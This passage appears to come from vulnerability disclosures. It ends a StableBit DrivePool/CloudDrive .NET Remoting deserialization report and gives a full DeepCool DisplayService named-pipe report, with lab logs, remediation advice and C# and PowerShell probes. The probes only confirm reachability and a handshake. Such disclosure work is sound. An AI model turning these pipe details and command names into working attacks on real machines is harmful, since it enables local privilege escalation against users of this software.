The remote method exception does not disprove exploitation. The marker was written before the product method completed, during deserialization of the object TaskState argument. This is the expected failure mode for many deserialization proofs: the payload executes first, and normal application logic may then reject the method arguments.
Cleanup Steps
The product was uninstalled with no-restart parameters:
StableBit.DrivePool_2.3.13.1687_x64_Release.exe /uninstall /quiet /norestart /log uninstall.log
The uninstall log reported:
Applied execute package: DrivePoolApplication, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart: No
Exit code: 0x0, restarting: No
Post-cleanup checks:
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.
Program files DrivePool exists: False
Runtime marker dir exists after cleanup: False
Runtime work dir exists after cleanup: False
Driver files after cleanup:
CoveFS remained in STOP_PENDING / delete-pending state after product uninstall. No reboot or shutdown was initiated. A controlled reboot may be needed later to finish unloading that product driver, but it was not performed during this validation.
Suggested Remediation
- Remove BinaryFormatter-based .NET Remoting for local IPC, or replace it with a protocol that does not deserialize arbitrary object graphs.
- Do not expose privileged remoting endpoints to Builtin Users unless every operation is authenticated, authorized, and uses a safe serializer.
- If remoting must remain temporarily, set the server formatter to the most restrictive possible type filter level and reject methods that accept
object, delegate, collection, or interface-typed arguments from untrusted clients. - Remove or harden privileged methods such as
StartTaskandRebootbehind explicit authorization checks that run before deserialization can occur. - Run privileged storage operations behind a hardened broker interface with explicit command schemas.
POC
using System;
using System.Collections;
using System.IO;
using System.IO.Pipes;
using System.Reflection;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Ipc;
using System.Threading;
internal static class StableBitDrivePoolCloudDriveReachabilityPoc
{
private sealed class TargetInfo
{
public string Product;
public string PipeName;
public string Uri;
public string CommTypeName;
}
private static int Main(string[] args)
{
TargetInfo target = Target("drivepool");
string assemblyPath = null;
bool callGetServiceState = false;
for (int i = 0; i < args.Length; i++)
{
string arg = args[i];
if (arg.Equals("--product", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
target = Target(args[++i]);
if (target == null)
{
Console.Error.WriteLine("Unknown product. Use drivepool or clouddrive.");
return 2;
}
}
else if (arg.Equals("--pipe", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
target.PipeName = args[++i];
}
else if (arg.Equals("--uri", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
target.Uri = args[++i];
}
else if (arg.Equals("--type", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
target.CommTypeName = args[++i];
}
else if (arg.Equals("--assembly", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
assemblyPath = args[++i];
}
else if (arg.Equals("--call-get-service-state", StringComparison.OrdinalIgnoreCase))
{
callGetServiceState = true;
}
else if (arg.Equals("--help", StringComparison.OrdinalIgnoreCase) || arg.Equals("-h", StringComparison.OrdinalIgnoreCase))
{
PrintUsage();
return 0;
}
else
{
Console.Error.WriteLine("Unknown or incomplete argument: {0}", arg);
PrintUsage();
return 2;
}
}
Console.WriteLine("StableBit DrivePool / CloudDrive remoting reachability probe");
Console.WriteLine("Target product: {0}", target.Product);
Console.WriteLine("This PoC does not send a BinaryFormatter gadget and does not modify system state.");
if (!ProbeNamedPipe(target.PipeName))
{
return 1;
}
if (!callGetServiceState)
{
Console.WriteLine("Pipe reachability confirmed. Use --call-get-service-state with --assembly for a benign remoting method call.");
return 0;
}
if (string.IsNullOrEmpty(assemblyPath))
{
Console.Error.WriteLine("--call-get-service-state requires --assembly <path-to-product-Comm.dll>.");
return 2;
}
return CallGetServiceState(target, assemblyPath);
}
private static TargetInfo Target(string product)
{
if (product.Equals("drivepool", StringComparison.OrdinalIgnoreCase))
{
return new TargetInfo
{
Product = "StableBit DrivePool",
PipeName = "StableBitDrivePool_Comm",
Uri = "ipc://StableBitDrivePool_Comm/Comm1",
CommTypeName = "DrivePoolComm.Comm1"
};
}
if (product.Equals("clouddrive", StringComparison.OrdinalIgnoreCase))
{
return new TargetInfo
{
Product = "StableBit CloudDrive",
PipeName = "StableBitCloudDrive_Comm",
Uri = "ipc://StableBitCloudDrive_Comm/Comm1",
CommTypeName = "CloudDriveComm.Comm1"
};
}
return null;
}
private static bool ProbeNamedPipe(string pipeName)
{
Console.WriteLine("Testing local named pipe: \\\\.\\pipe\\{0}", pipeName);
try
{
using (var pipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None))
{
pipe.Connect(3000);
Console.WriteLine("Connected to named pipe as current user.");
return true;
}
}
catch (TimeoutException)
{
Console.Error.WriteLine("Timed out connecting to the pipe. The service may not be running.");
return false;
}
catch (UnauthorizedAccessException ex)
{
Console.Error.WriteLine("Access denied opening the pipe: {0}", ex.Message);
return false;
}
catch (IOException ex)
{
Console.Error.WriteLine("Pipe I/O error: {0}", ex.Message);
return false;
}
}
private static int CallGetServiceState(TargetInfo target, string assemblyPath)
{
string assemblyFullPath = Path.GetFullPath(assemblyPath);
string assemblyDirectory = Path.GetDirectoryName(assemblyFullPath);
AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs eventArgs)
{
string candidate = Path.Combine(assemblyDirectory, new AssemblyName(eventArgs.Name).Name + ".dll");
return File.Exists(candidate) ? Assembly.LoadFrom(candidate) : null;
};
try
{
var props = new Hashtable();
props["name"] = "StableBitDrivePoolCloudDriveReachabilityClient-" + Guid.NewGuid().ToString("N");
props["secure"] = true;
ChannelServices.RegisterChannel(new IpcClientChannel(props, null), true);
Assembly commAssembly = Assembly.LoadFrom(assemblyFullPath);
Type commType = commAssembly.GetType(target.CommTypeName, true);
object proxy = Activator.GetObject(commType, target.Uri);
MethodInfo method = commType.GetMethod("GetServiceState", new[] { typeof(DateTime).MakeByRefType() });
if (method == null)
{
Console.Error.WriteLine("Could not find {0}.GetServiceState(DateTime&).", target.CommTypeName);
return 3;
}
object[] methodArgs = { DateTime.MinValue };
object state = method.Invoke(proxy, methodArgs);
Console.WriteLine("GetServiceState returned: {0}", state);
Console.WriteLine("BootStartedAt: {0:o}", (DateTime)methodArgs[0]);
return 0;
}
catch (TargetInvocationException ex)
{
Console.Error.WriteLine("Remote call failed: {0}", ex.InnerException != null ? ex.InnerException.Message : ex.Message);
return 4;
}
catch (Exception ex)
{
Console.Error.WriteLine("Remoting probe failed: {0}", ex.Message);
return 4;
}
}
private static void PrintUsage()
{
Console.WriteLine("Usage:");
Console.WriteLine(" stablebit_drivepool_clouddrive_remoting_reachability_poc.exe --product drivepool");
Console.WriteLine(" stablebit_drivepool_clouddrive_remoting_reachability_poc.exe --product clouddrive");
Console.WriteLine(" stablebit_drivepool_clouddrive_remoting_reachability_poc.exe --product drivepool --call-get-service-state --assembly <DrivePool.Comm.dll>");
Console.WriteLine();
Console.WriteLine("Options:");
Console.WriteLine(" --product <drivepool|clouddrive> Default: drivepool.");
Console.WriteLine(" --pipe <name> Override named pipe.");
Console.WriteLine(" --uri <uri> Override remoting URI.");
Console.WriteLine(" --type <full-name> Override remoting type name.");
Console.WriteLine(" --assembly <product Comm.dll> Required only for the benign remoting method call.");
}
}
DeepCool 1.2.12 DisplayService Exposes an Unauthenticated LocalSystem Named-Pipe Control Channel
Summary
DeepCool Deep Creative 1.2.12 installs DeepCoolDisplayService.exe, a service component intended to run as LocalSystem. In a live validation, a standard local user at Medium Integrity could not control the service through the Windows Service Control Manager. The same user could nevertheless connect to the service's named-pipe control channel, complete the JSON handshake, and receive a per-session data pipe name from the LocalSystem service.
The safe reproduction below stops after the handshake. No driver initialization, virtual display creation, display removal, reboot, shutdown, or other display-state change was performed.
Affected Product and Version
- Product: DeepCool Deep Creative
- Product version:
1.2.12 - Service binary:
DeepCoolDisplayService.exe - Service account during validation:
LocalSystem - Observed control pipe:
\\.\pipe\DeepCool_display_server - Returned data-pipe pattern:
\\.\pipe\display_data<decimal suffix>
Download URL and SHA-256
- Download URL:
https://deepcool.io/downloads/DeepCool-1.2.12-setup.exe - File name:
DeepCool-1.2.12-setup.exe - SHA-256:
4549885C716E951DDE488E2117823478F7994C475E686331F93866582F6B116F - Installer signature:
Valid - Installer signer:
Beijing Deepcool SCI-TECH Co., Ltd.
Service binary:
Path: C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe
SHA-256: 57262AC9AE6BCABE77F3A78BD59824453615FF226690E5B830B73134B764087C
Signature: Valid
Signer: Beijing Deepcool SCI-TECH Co., Ltd.
Vulnerability Type
Unauthenticated local IPC access to a privileged service. The service exposes a LocalSystem JSON command channel over a named pipe reachable by a standard local user.
Impact
The confirmed dynamic proof is unauthorized low-privileged reachability to a LocalSystem service control channel. Static analysis of the same service binary showed that, after this handshake, the service dispatches JSON command types including driver initialization/uninitialization and virtual monitor management. Those state-changing commands were intentionally not executed in this validation.
This should be treated as a local privilege-boundary issue because the service accepts IPC from a standard user before enforcing an administrator-only caller policy. Depending on runtime command selection, the exposed command surface can allow a low-privileged user to trigger privileged display-driver setup/teardown and virtual display state changes.
Test Environment
Host: WIN-R10EKFCBLSE
OS: Windows Server 2025 Datacenter Evaluation, 64-bit
OS version: 10.0.26100
Setup user: local Administrator
Attacker user: WIN-R10EKFCBLSE\low
Attacker integrity: Medium
Setup Steps
The official installer was downloaded directly from DeepCool and launched with no-restart options:
DeepCool-1.2.12-setup.exe /S /NORESTART
In this lab, the silent installer laid down C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe but did not exit within the ten-minute automation timeout. The installer process was stopped; no reboot or shutdown occurred. The service binary was then registered manually for validation as a temporary demand-start LocalSystem service:
sc.exe create DeepCoolDisplayService type= own start= demand obj= LocalSystem binPath= "C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe"
sc.exe start DeepCoolDisplayService
sc.exe query DeepCoolDisplayService
sc.exe qc DeepCoolDisplayService
Service configuration:
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: DeepCoolDisplayService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe
DISPLAY_NAME : DeepCoolDisplayService
SERVICE_START_NAME : LocalSystem
Service runtime state:
SERVICE_NAME: DeepCoolDisplayService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
Reproduction Steps
- Install DeepCool Deep Creative 1.2.12 from the official URL above.
- Ensure
DeepCoolDisplayService.exeis running asLocalSystem. - Log in or spawn a shell as a standard local user.
- As that standard user, verify the user is not elevated:
whoami /all
- As that same standard user, attempt direct service control:
sc.exe stop DeepCoolDisplayService
- As that same standard user, run the safe pipe probe. The probe sends only:
{"type":"SERVER_HELLO"}
{"type":"SETUP_DATA_CHANNEL"}
It does not send DRIVER_INIT, monitor creation, monitor removal, or any other state-changing command.
Baseline Evidence
The attacker user was a standard local user at Medium Integrity:
USER INFORMATION
----------------
User Name SID
=================== ==============================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
The service was running, but direct standard-user service control failed:
=== sc query DeepCoolDisplayService ===
SERVICE_NAME: DeepCoolDisplayService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
=== direct SCM stop attempt from standard user ===
[SC] OpenService FAILED 5:
Access is denied.
sc stop exit code: 5
Exploit Evidence
The same standard Medium Integrity user connected to the LocalSystem service's pipe and completed the JSON handshake:
=== safe pipe probe ===
[IDENTITY]
USER INFORMATION
----------------
User Name SID
=================== ==============================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
[-] Could not connect to \\.\pipe\display_data: The operation has timed out.
[+] Connected to \\.\pipe\DeepCool_display_server
[>] {"type":"SERVER_HELLO"}
[<] {"payload":{"ServerVersion":"1.0.1"},"seq":0,"type":"CLIENT_HELLO"}
[>] {"type":"SETUP_DATA_CHANNEL"}
[<] {"payload":{"DataPipeName":"\\\\.\\pipe\\display_data1778318999"},"seq":1,"type":"DATA_CHANNEL_READY"}
[+] DataPipeName: \\.\pipe\display_data1778318999
[+] Probe complete. No state-changing command was sent.
pipe probe exit code: 0
Why This Proves the Vulnerability
The baseline establishes that the caller is a standard user at Medium Integrity and cannot directly administer the LocalSystem service through SCM. The exploit evidence shows that the same user can still connect to the service's named-pipe control channel and receive a data pipe from the service.
That is the security boundary violation: the service exposes privileged control-plane IPC to a non-admin caller before enforcing an authorization check. A properly protected LocalSystem service should restrict state-changing control channels to SYSTEM, Administrators, or an authenticated per-session broker that verifies the caller before returning a command channel.
Cleanup Steps
The validation stopped and deleted the temporary service, ran the DeepCool uninstaller, then removed only the test-installed DeepCool directories:
sc.exe stop DeepCoolDisplayService
sc.exe delete DeepCoolDisplayService
C:\DeepCool\Uninstall DeepCool.exe /allusers /S
Cleanup result:
Uninstaller exit code: 0
Manual cleanup deleting test-installed path: C:\DeepCool
Manual cleanup deleting test-installed path: C:\Users\Administrator\AppData\Local\deepcool-updater
Final service query:
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.
Final C:\DeepCool exists after cleanup: False
deepcool-updater exists after cleanup: False
Suggested Remediation
- Create named pipes with explicit security descriptors that grant access only to SYSTEM and Administrators unless a command is intentionally user-accessible.
- Impersonate the pipe client and enforce an administrator or trusted UI-broker check before returning a data pipe.
- Require an authenticated per-session broker token for UI-to-service requests.
- Split harmless status queries from state-changing driver and display-management commands.
- Log command requests with the authenticated caller SID and reject unauthenticated local users by default.
POC
The following PowerShell client performs only the safe handshake used in the evidence above:
$pipeName = 'DeepCool_display_server'
$client = [System.IO.Pipes.NamedPipeClientStream]::new(
'.',
$pipeName,
[System.IO.Pipes.PipeDirection]::InOut,
[System.IO.Pipes.PipeOptions]::None
)
$client.Connect(3000)
$client.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message
$enc = [System.Text.Encoding]::UTF8
function Send-Json($s) {
$bytes = $enc.GetBytes($s)
$client.Write($bytes, 0, $bytes.Length)
$client.Flush()
"[>] $s"
}
function Read-Json {
$buf = New-Object byte[] 16384
$ms = [System.IO.MemoryStream]::new()
do {
$n = $client.Read($buf, 0, $buf.Length)
if ($n -gt 0) { $ms.Write($buf, 0, $n) }
} while (-not $client.IsMessageComplete)
$enc.GetString($ms.ToArray())
}
Send-Json '{"type":"SERVER_HELLO"}'
"[<] $(Read-Json)"
Send-Json '{"type":"SETUP_DATA_CHANNEL"}'
"[<] $(Read-Json)"
$client.Dispose()


